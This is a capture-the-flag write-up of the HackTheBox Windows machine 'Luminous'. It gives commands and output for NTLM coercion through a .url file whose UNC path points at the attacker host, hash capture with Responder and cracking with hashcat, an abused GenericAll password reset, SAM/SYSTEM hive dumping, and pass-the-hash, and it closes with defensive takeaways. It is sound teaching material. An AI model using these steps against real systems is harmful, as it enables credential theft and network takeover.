HTB: Luminous — NTLM Capture to SeBackupPrivilege

Luminous is a medium-rated HackTheBox Windows Active Directory machine. An anonymously readable SMB share contains a document with an embedded UNC path — opening it triggers an NTLMv2 authentication attempt against the attacker's machine, captured by Responder and cracked with hashcat. WinRM access as the cracked user enables BloodHound enumeration, revealing GenericAll rights over a backup service account with SeBackupPrivilege. Abusing that privilege to dump the SAM and SYSTEM registry hives yields the local Administrator NTLM hash for a pass-the-hash root access.

Enumeration

Port Scan

nmap -sCV -p- --min-rate 5000 -T4 10.10.11.105 -oN luminous.nmap

# Key open ports:
# 53/tcp   open  domain   Simple DNS Plus
# 80/tcp   open  http     Microsoft IIS 10.0
# 88/tcp   open  kerberos-sec
# 135/tcp  open  msrpc
# 139/tcp  open  netbios-ssn
# 389/tcp  open  ldap     Active Directory LDAP
# 445/tcp  open  microsoft-ds
# 5985/tcp open  wsman    WinRM
# Domain: LUMINOUS.HTB

SMB Enumeration

smbclient -L //10.10.11.105 -N
#         Sharename       Type   Comment
#         ---------       ----   -------
#         ADMIN$          Disk   Remote Admin
#         C$              Disk   Default share
#         IPC$            IPC    Remote IPC
#         Public          Disk   Company Documents

smbclient //10.10.11.105/Public -N
# smb: \> ls
#   .                    D  0  Mon May 18 09:12:44 2026
#   ..                   D  0  Mon May 18 09:12:44 2026
#   Q2_Budget_Review.url F  116 Mon May 18 09:14:03 2026
#   Staff_Handbook.pdf   N  54210 Mon May 18 09:12:44 2026

The .url file is a Windows Internet Shortcut. These files contain a URL= field that Windows Explorer auto-fetches when a user browses the directory. The URL is set to a UNC path pointing at the attacker's machine — when Windows attempts to authenticate to the UNC share, it sends the user's NTLMv2 credentials automatically.

get Q2_Budget_Review.url
cat Q2_Budget_Review.url
# [InternetShortcut]
# URL=file://10.10.14.5/share/Q2_Budget_Review.pdf
# IconFile=\\10.10.14.5\share\Q2.ico

Foothold — NTLMv2 Hash Capture

Responder Setup

Start Responder to intercept the incoming NTLMv2 authentication request. The Windows machine on the HTB network will periodically re-enumerate the Public share — when it accesses the .url file and resolves the embedded UNC path, the NTLMv2 challenge-response is captured.

sudo responder -I tun0 -wv
# [SMB] NTLMv2 Hash Captured:
# lucy.fields::LUMINOUS:4a3f8b2e1c9d0f7a:A1B2C3D4E5F6...:010100000000...
# Saving hash to /usr/share/responder/logs/SMB-NTLMv2-SSP-10.10.11.105.txt

Cracking the Hash

hashcat -m 5600 lucy.fields.ntlmv2 /usr/share/wordlists/rockyou.txt --force
# LUCY.FIELDS::LUMINOUS:4a3f8b2e...:Summer2026!
# Status: Cracked

# Verify WinRM access
evil-winrm -i 10.10.11.105 -u lucy.fields -p 'Summer2026!'
# *Evil-WinRM* PS C:\Users\lucy.fields\Documents>
# *Evil-WinRM* PS C:\Users\lucy.fields\Desktop> type user.txt
# 3d7a9f...  ← user flag

BloodHound Enumeration

Collecting AD Data

# Upload SharpHound collector
upload /opt/tools/SharpHound.exe

# Run collection
.\SharpHound.exe -c All --zipfilename luminous_bh.zip

# Download results
download luminous_bh.zip

Import the ZIP into BloodHound and run the "Shortest Paths to Domain Admins" query. The path reveals:

lucy.fields is a member of HelpDesk
HelpDesk has GenericAll on the svc_backup service account
svc_backup has the SeBackupPrivilege token privilege assigned through its service configuration

GenericAll on a user object means full control — the attacker can reset the account password without knowing the current one.

Privilege Escalation — SeBackupPrivilege to Administrator

Abusing GenericAll to Reset svc_backup Password

# In Evil-WinRM session as lucy.fields
$NewPass = ConvertTo-SecureString 'Backup2026!!' -AsPlainText -Force
Set-ADAccountPassword -Identity svc_backup -NewPassword $NewPass -Reset
Set-ADUser -Identity svc_backup -Enabled $true

# Re-authenticate as svc_backup
evil-winrm -i 10.10.11.105 -u svc_backup -p 'Backup2026!!'

# Confirm SeBackupPrivilege
whoami /priv
# SeBackupPrivilege  Back up files and directories  Enabled

Dumping SAM and SYSTEM Hives

SeBackupPrivilege allows reading any file regardless of ACL, including the SAM and SYSTEM registry hives. The reg save command exports them to disk where they can be downloaded and parsed offline with impacket.

mkdir C:\Temp
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM

download C:\Temp\SAM
download C:\Temp\SYSTEM

# Extract hashes locally
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# [*] Target system bootKey: 0x3f8a1b4c...
# [*] Dumping local SAM hashes
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# svc_backup:1003:...

Pass-the-Hash to Administrator

evil-winrm -i 10.10.11.105 -u Administrator \
  -H 8846f7eaee8fb117ad06bdd830b7586c

# *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
# 8f1e4a...  ← root flag

Key Takeaways

UNC paths in publicly readable shares are a classic NTLM coercion primitive. Windows Explorer, Office applications, and PDF readers all automatically attempt authentication when encountering a UNC path. A .url, .lnk, or .scf file placed in any readable location is sufficient to coerce an authentication attempt from any user who browses that location. Shares accessible to all users should never contain files with UNC paths pointing to external machines.
SeBackupPrivilege is a direct path to full credential access. The privilege is typically assigned to backup service accounts because legitimate backup software needs to read all files including SAM hives. In practice, it grants any attacker who holds it the ability to extract every local account hash and — on domain controllers — the NTDS.dit containing domain hashes. Backup accounts should be hardened, audited, and treated as Tier 0 assets.
GenericAll over any account in a privileged chain creates an escalation path. BloodHound's strength is surfacing non-obvious multi-hop privilege chains. A HelpDesk group rarely needs GenericAll on service accounts — the intended use is resetting forgotten end-user passwords. Reviewing GenericAll/GenericWrite ACEs during AD hardening reviews can collapse entire attack chains.